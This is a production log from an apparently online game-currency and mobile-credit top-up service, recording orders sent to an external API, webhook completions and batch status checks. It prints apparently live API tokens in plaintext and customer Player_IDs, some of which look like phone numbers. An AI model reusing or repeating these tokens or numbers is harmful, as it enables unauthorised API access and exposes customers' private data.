[2026-03-24 16:48:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Nrwv0D0vqR2zQYGhHPwLjI38I9XwMp2e","execution_time":"2026-03-24 16:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 16:48:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Nrwv0D0vqR2zQYGhHPwLjI38I9XwMp2e","execution_time":"2026-03-24 16:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 16:48:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Nrwv0D0vqR2zQYGhHPwLjI38I9XwMp2e","execution_time":"2026-03-24 16:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:48:04] production.INFO: Constructing job for order: 178936  
[2026-03-24 16:48:06] production.INFO: Handling job for order: 178936  
[2026-03-24 16:48:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:48:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:48:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=33600&uuid=aecf64de-44a1-4b67-b425-7956a301f93b&Player_ID=588947099  
[2026-03-24 16:48:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=33600&uuid=aecf64de-44a1-4b67-b425-7956a301f93b&Player_ID=588947099","has_body":false} 
[2026-03-24 16:48:07] production.INFO: Operation sent successfully {"operation_id":163844,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Fi9-1774360086","amount":3.41065199999999979496578816906549036502838134765625,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 16:48:07"}},"processed_data":{"order_number":"ORD-Fi9-1774360086","amount":3.41065199999999979496578816906549036502838134765625,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 16:48:24] production.INFO: Constructing job for order: 178937  
[2026-03-24 16:48:25] production.INFO: Handling job for order: 178937  
[2026-03-24 16:48:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:48:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:48:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=2afbf601-0aca-4d5f-a64b-3d72b48f0058&Player_ID=51406136705  
[2026-03-24 16:48:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=2afbf601-0aca-4d5f-a64b-3d72b48f0058&Player_ID=51406136705","has_body":false} 
[2026-03-24 16:48:26] production.INFO: Operation sent successfully {"operation_id":163845,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-VqyfgL-1774360105","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:48:26"}},"processed_data":{"order_number":"ORD-VqyfgL-1774360105","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:48:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-VqyfgL-1774360105","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:48:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-VqyfgL-1774360105","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:48:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:48:41] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":178937} 
[2026-03-24 16:48:41] production.INFO: Order updated successfully. Order ID: 178937, Status: completed  
[2026-03-24 16:48:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-VqyfgL-1774360105","status":"completed","codes_count":0} 
[2026-03-24 16:48:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 16:48:58] production.INFO: Constructing job for order: 178938  
[2026-03-24 16:48:59] production.INFO: Handling job for order: 178938  
[2026-03-24 16:48:59] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:48:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:48:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=9b4bfb2a-b77a-4459-bfae-ed242368b1a2&Player_ID=0981538656  
[2026-03-24 16:48:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=9b4bfb2a-b77a-4459-bfae-ed242368b1a2&Player_ID=0981538656","has_body":false} 
[2026-03-24 16:48:59] production.INFO: Operation sent successfully {"operation_id":163846,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Lvn2-1774360139","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 16:48:59"}},"processed_data":{"order_number":"ORD-Lvn2-1774360139","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 16:49:03] production.INFO: Constructing job for order: 178939  
[2026-03-24 16:49:05] production.INFO: Handling job for order: 178939  
[2026-03-24 16:49:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:49:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:49:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/584/params?qty=1420&uuid=e89b3184-08ec-4d41-ad92-bf2b3b7e3dc1&Player_ID=110483944  
[2026-03-24 16:49:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/584/params?qty=1420&uuid=e89b3184-08ec-4d41-ad92-bf2b3b7e3dc1&Player_ID=110483944","has_body":false} 
[2026-03-24 16:49:06] production.INFO: Operation sent successfully {"operation_id":163847,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-AL8FBnY-1774360146","amount":2.3907935079999997896038621547631919384002685546875,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan","notes":[],"created_at":"2026-03-24 16:49:06"}},"processed_data":{"order_number":"ORD-AL8FBnY-1774360146","amount":2.3907935079999997896038621547631919384002685546875,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan"}} 
[2026-03-24 16:49:15] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Fi9-1774360086","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 16:49:15] production.INFO: Processed webhook data (normalized) {"id":"ORD-Fi9-1774360086","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 16:49:15] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:49:15] production.INFO: SendAcceptReject: Notification queued {"user_id":1706,"notification_type":"order_approved","reference_id":178936} 
[2026-03-24 16:49:15] production.INFO: Order updated successfully. Order ID: 178936, Status: completed  
[2026-03-24 16:49:15] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Fi9-1774360086","status":"completed","codes_count":0} 
[2026-03-24 16:49:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1706  
[2026-03-24 16:49:31] production.INFO: Constructing job for order: 178940  
[2026-03-24 16:49:33] production.INFO: Handling job for order: 178940  
[2026-03-24 16:49:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:49:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:49:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=3b06204d-d387-4702-8b4f-4934907149ee&Player_ID=51406136705  
[2026-03-24 16:49:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=3b06204d-d387-4702-8b4f-4934907149ee&Player_ID=51406136705","has_body":false} 
[2026-03-24 16:49:34] production.INFO: Operation sent successfully {"operation_id":163848,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-3tAx-1774360174","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:49:34"}},"processed_data":{"order_number":"ORD-3tAx-1774360174","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:49:50] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-3tAx-1774360174","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:49:50] production.INFO: Processed webhook data (normalized) {"id":"ORD-3tAx-1774360174","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:49:50] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:49:50] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":178940} 
[2026-03-24 16:49:50] production.INFO: Order updated successfully. Order ID: 178940, Status: completed  
[2026-03-24 16:49:50] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-3tAx-1774360174","status":"completed","codes_count":0} 
[2026-03-24 16:49:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 16:50:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04"} 
[2026-03-24 16:50:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","total_operations":3,"sites_count":2} 
[2026-03-24 16:50:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-vaAee9-1774358736","ORD-AL8FBnY-1774360146"]} 
[2026-03-24 16:50:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:50:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 16:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AL8FBnY-1774360146","operation_id":163847} 
[2026-03-24 16:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:50:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 16:50:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 16:50:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":1,"order_ids":["ORD-Lvn2-1774360139"]} 
[2026-03-24 16:50:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:50:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":1} 
[2026-03-24 16:50:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lvn2-1774360139","operation_id":163846,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 16:50:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lvn2-1774360139","operation_id":163846,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 16:50:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lvn2-1774360139","operation_id":163846,"count":1} 
[2026-03-24 16:50:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lvn2-1774360139","operation_id":163846,"count":1} 
[2026-03-24 16:50:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lvn2-1774360139","operation_id":163846,"user_id":1056,"notification_type":"order_approved","reference_id":178938} 
[2026-03-24 16:50:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lvn2-1774360139","operation_id":163846,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 16:50:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lvn2-1774360139","operation_id":163846,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 16:50:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lvn2-1774360139","operation_id":163846,"processed":1,"errors":0} 
[2026-03-24 16:50:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lvn2-1774360139","operation_id":163846,"processed":1,"errors":0} 
[2026-03-24 16:50:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"VPmbhDWHycIzjraYN3cybNdCR0NKw5ir","execution_time":"2026-03-24 16:50:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lvn2-1774360139","operation_id":163846} 
[2026-03-24 16:50:04] production.INFO: Executing GetProducts task...  
[2026-03-24 16:50:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 16:50:04] production.INFO: Executing GetProducts task...  
[2026-03-24 16:50:05] production.INFO: Constructing job for order: 178941  
[2026-03-24 16:50:06] production.INFO: async() رجع: true  
[2026-03-24 16:50:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 16:50:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 16:50:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 16:50:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 16:50:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 16:50:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 16:50:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 16:50:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 16:50:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 16:50:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 16:50:08] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 16:50:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 16:50:08] production.INFO: Handling job for order: 178941  
[2026-03-24 16:50:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:50:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:50:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=60000&uuid=9e68f61a-4c55-47b8-ab78-7cfffe358d8a&Player_ID=600076  
[2026-03-24 16:50:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=60000&uuid=9e68f61a-4c55-47b8-ab78-7cfffe358d8a&Player_ID=600076","has_body":false} 
[2026-03-24 16:50:09] production.INFO: Operation sent successfully {"operation_id":163849,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-IrVbor-1774360208","amount":4.4924160000000004089315552846528589725494384765625,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 16:50:09"}},"processed_data":{"order_number":"ORD-IrVbor-1774360208","amount":4.4924160000000004089315552846528589725494384765625,"status":"processing","product":"Tami Amount","game":"Tami"}} 
[2026-03-24 16:50:10] production.INFO: Constructing job for order: 178942  
[2026-03-24 16:50:12] production.INFO: Handling job for order: 178942  
[2026-03-24 16:50:12] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:50:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:50:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=5539d3d7-a966-49cf-9eda-0d45a206face&Player_ID=0981246797  
[2026-03-24 16:50:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=5539d3d7-a966-49cf-9eda-0d45a206face&Player_ID=0981246797","has_body":false} 
[2026-03-24 16:50:12] production.INFO: Operation sent successfully {"operation_id":163850,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4Rd6rm-1774360212","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 16:50:12"}},"processed_data":{"order_number":"ORD-4Rd6rm-1774360212","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 16:50:56] production.INFO: Constructing job for order: 178943  
[2026-03-24 16:50:57] production.INFO: Handling job for order: 178943  
[2026-03-24 16:50:57] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:50:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:50:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=740a4990-376d-4f73-8e18-19ad407ff469&Player_ID=0954629138  
[2026-03-24 16:50:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=740a4990-376d-4f73-8e18-19ad407ff469&Player_ID=0954629138","has_body":false} 
[2026-03-24 16:50:58] production.INFO: Operation sent successfully {"operation_id":163851,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-x9js-1774360258","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:50:58"}},"processed_data":{"order_number":"ORD-x9js-1774360258","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:51:50] production.INFO: Constructing job for order: 178944  
[2026-03-24 16:51:52] production.INFO: Handling job for order: 178944  
[2026-03-24 16:51:52] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:51:52] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:51:52] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=441fe012-ee90-46ea-88cb-eaf0993072a9&Player_ID=52245909262  
[2026-03-24 16:51:52] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=441fe012-ee90-46ea-88cb-eaf0993072a9&Player_ID=52245909262","has_body":false} 
[2026-03-24 16:51:53] production.INFO: Operation sent successfully {"operation_id":163852,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lnd-1774360313","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:51:53"}},"processed_data":{"order_number":"ORD-lnd-1774360313","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 16:51:56] production.INFO: Constructing job for order: 178945  
[2026-03-24 16:51:59] production.INFO: Handling job for order: 178945  
[2026-03-24 16:51:59] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:51:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:51:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=c73b9ef3-6ae4-4337-8924-3fe6220c4e5e&Player_ID=52245909262  
[2026-03-24 16:51:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=c73b9ef3-6ae4-4337-8924-3fe6220c4e5e&Player_ID=52245909262","has_body":false} 
[2026-03-24 16:52:00] production.INFO: Operation sent successfully {"operation_id":163853,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-j5G7ZL-1774360319","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:52:00"}},"processed_data":{"order_number":"ORD-j5G7ZL-1774360319","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 16:52:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-IrVbor-1774360208","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 16:52:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-IrVbor-1774360208","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 16:52:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:52:03] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":178941} 
[2026-03-24 16:52:03] production.INFO: Order updated successfully. Order ID: 178941, Status: completed  
[2026-03-24 16:52:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-IrVbor-1774360208","status":"completed","codes_count":0} 
[2026-03-24 16:52:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03"} 
[2026-03-24 16:52:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","total_operations":6,"sites_count":2} 
[2026-03-24 16:52:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-vaAee9-1774358736","ORD-AL8FBnY-1774360146","ORD-lnd-1774360313","ORD-j5G7ZL-1774360319"]} 
[2026-03-24 16:52:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:52:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-AL8FBnY-1774360146","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 16:52:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-AL8FBnY-1774360146","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 16:52:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:52:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1526,"notification_type":"order_approved","reference_id":178939} 
[2026-03-24 16:52:03] production.INFO: Order updated successfully. Order ID: 178939, Status: completed  
[2026-03-24 16:52:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-AL8FBnY-1774360146","status":"completed","codes_count":0} 
[2026-03-24 16:52:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 16:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 16:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lnd-1774360313","operation_id":163852} 
[2026-03-24 16:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:52:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":1,"skipped":3,"updates_prepared":1} 
[2026-03-24 16:52:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"total_items":1,"chunks":1,"chunk_size":10} 
